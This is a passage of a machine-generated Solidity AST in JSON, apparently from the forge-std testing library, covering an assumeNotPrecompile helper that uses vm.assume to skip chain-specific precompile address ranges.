Vm"}},"id":4186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10290:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"10287:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10287:53:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4201,"nodeType":"ExpressionStatement","src":"10287:53:3"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4208,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4202,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10390:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3130","id":4203,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10401:2:3","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"10390:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4207,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4205,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10407:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"343230","id":4206,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10418:3:3","typeDescriptions":{"typeIdentifier":"t_rational_420_by_1","typeString":"int_const 420"},"value":"420"},"src":"10407:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10390:31:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4230,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4228,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10739:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3432313631","id":4229,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10750:5:3","typeDescriptions":{"typeIdentifier":"t_rational_42161_by_1","typeString":"int_const 42161"},"value":"42161"},"src":"10739:16:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4233,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4231,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"10759:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"343231363133","id":4232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10770:6:3","typeDescriptions":{"typeIdentifier":"t_rational_421613_by_1","typeString":"int_const 421613"},"value":"421613"},"src":"10759:17:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10739:37:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4260,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4254,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"11053:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3433313134","id":4255,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11064:5:3","typeDescriptions":{"typeIdentifier":"t_rational_43114_by_1","typeString":"int_const 43114"},"value":"43114"},"src":"11053:16:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4259,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4257,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4181,"src":"11073:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"3433313133","id":4258,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11084:5:3","typeDescriptions":{"typeIdentifier":"t_rational_43113_by_1","typeString":"int_const 43113"},"value":"43113"},"src":"11073:16:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11053:36:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":4316,"nodeType":"IfStatement","src":"11049:617:3","trueBody":{"id":4315,"nodeType":"Block","src":"11091:575:3","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4276,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4264,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11244:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830313030303030303030303030303030303030303030303030303030303030303030303030303030","id":4267,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11259:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0100000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11251:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4265,"name":"address","nodeType":"ElementaryTypeName","src":"11251:7:3","typeDescriptions":{}}},"id":4268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11251:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11244:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4275,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4270,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11306:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830313030303030303030303030303030303030303030303030303030303030303030303030306666","id":4273,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11321:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x01000000000000000000000000000000000000ff"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4272,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11313:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4271,"name":"address","nodeType":"ElementaryTypeName","src":"11313:7:3","typeDescriptions":{}}},"id":4274,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11313:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11306:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11244:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4261,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11234:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11237:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11234:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11234:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4278,"nodeType":"ExpressionStatement","src":"11234:131:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4287,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4282,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11389:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830323030303030303030303030303030303030303030303030303030303030303030303030303030","id":4285,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11404:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0200000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4284,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11396:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4283,"name":"address","nodeType":"ElementaryTypeName","src":"11396:7:3","typeDescriptions":{}}},"id":4286,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11396:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11389:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4293,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4288,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11451:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830323030303030303030303030303030303030303030303030303030303030303030303030304646","id":4291,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11466:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x02000000000000000000000000000000000000FF"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4290,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11458:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4289,"name":"address","nodeType":"ElementaryTypeName","src":"11458:7:3","typeDescriptions":{}}},"id":4292,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11458:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11451:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11389:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4279,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11379:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4281,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11382:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11379:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11379:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4296,"nodeType":"ExpressionStatement","src":"11379:131:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4300,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11534:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830333030303030303030303030303030303030303030303030303030303030303030303030303030","id":4303,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11549:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0300000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4302,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11541:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4301,"name":"address","nodeType":"ElementaryTypeName","src":"11541:7:3","typeDescriptions":{}}},"id":4304,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11541:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11534:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4311,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4306,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11596:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830333030303030303030303030303030303030303030303030303030303030303030303030304666","id":4309,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11611:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x03000000000000000000000000000000000000Ff"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4308,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11603:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4307,"name":"address","nodeType":"ElementaryTypeName","src":"11603:7:3","typeDescriptions":{}}},"id":4310,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11603:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11596:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11534:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4297,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11524:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4299,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11527:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11524:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4313,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11524:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4314,"nodeType":"ExpressionStatement","src":"11524:131:3"}]}},"id":4317,"nodeType":"IfStatement","src":"10735:931:3","trueBody":{"id":4253,"nodeType":"Block","src":"10778:265:3","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4250,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4238,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10911:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303634","id":4241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10926:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0000000000000000000000000000000000000064"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10918:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4239,"name":"address","nodeType":"ElementaryTypeName","src":"10918:7:3","typeDescriptions":{}}},"id":4242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10918:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10911:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4249,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4244,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10973:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303638","id":4247,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10988:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0000000000000000000000000000000000000068"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4246,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10980:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4245,"name":"address","nodeType":"ElementaryTypeName","src":"10980:7:3","typeDescriptions":{}}},"id":4248,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10980:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10973:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10911:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4235,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"10901:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10904:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"10901:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10901:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4252,"nodeType":"ExpressionStatement","src":"10901:131:3"}]}},"id":4318,"nodeType":"IfStatement","src":"10386:1280:3","trueBody":{"id":4227,"nodeType":"Block","src":"10423:306:3","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4224,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4217,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4212,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10597:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307834323030303030303030303030303030303030303030303030303030303030303030303030303030","id":4215,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10612:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4200000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4214,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10604:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4213,"name":"address","nodeType":"ElementaryTypeName","src":"10604:7:3","typeDescriptions":{}}},"id":4216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10604:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10597:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4223,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4218,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10659:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307834323030303030303030303030303030303030303030303030303030303030303030303030383030","id":4221,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10674:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4200000000000000000000000000000000000800"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4220,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10666:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4219,"name":"address","nodeType":"ElementaryTypeName","src":"10666:7:3","typeDescriptions":{}}},"id":4222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10666:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10659:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10597:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4209,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"10587:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4211,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10590:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"10587:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10587:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4226,"nodeType":"ExpressionStatement","src":"10587:131:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotPrecompile","nameLocation":"9926:19:3","parameters":{"id":4182,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4179,"mutability":"mutable","name":"addr","nameLocation":"9954:4:3","nodeType":"VariableDeclaration","scope":4320,"src":"9946:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4178,"name":"address","nodeType":"ElementaryTypeName","src":"9946:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":4181,"mutability":"mutable","name":"chainId","nameLocation":"9968:7:3","nodeType":"VariableDeclaration","scope":4320,"src":"9960:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4180,"name":"uint256","nodeType":"ElementaryTypeName","src":"9960:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9945:31:3"},"returnParameters":{"id":4183,"nodeType":"ParameterList","parameters":[],"src":"9999:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4345,"nodeType":"FunctionDefinition","src":"11711:314:3","nodes":[],"body":{"id":4344,"nodeType":"Block","src":"11778:247:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4341,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4328,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4322,"src":"11865:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"id":4331,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11881:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 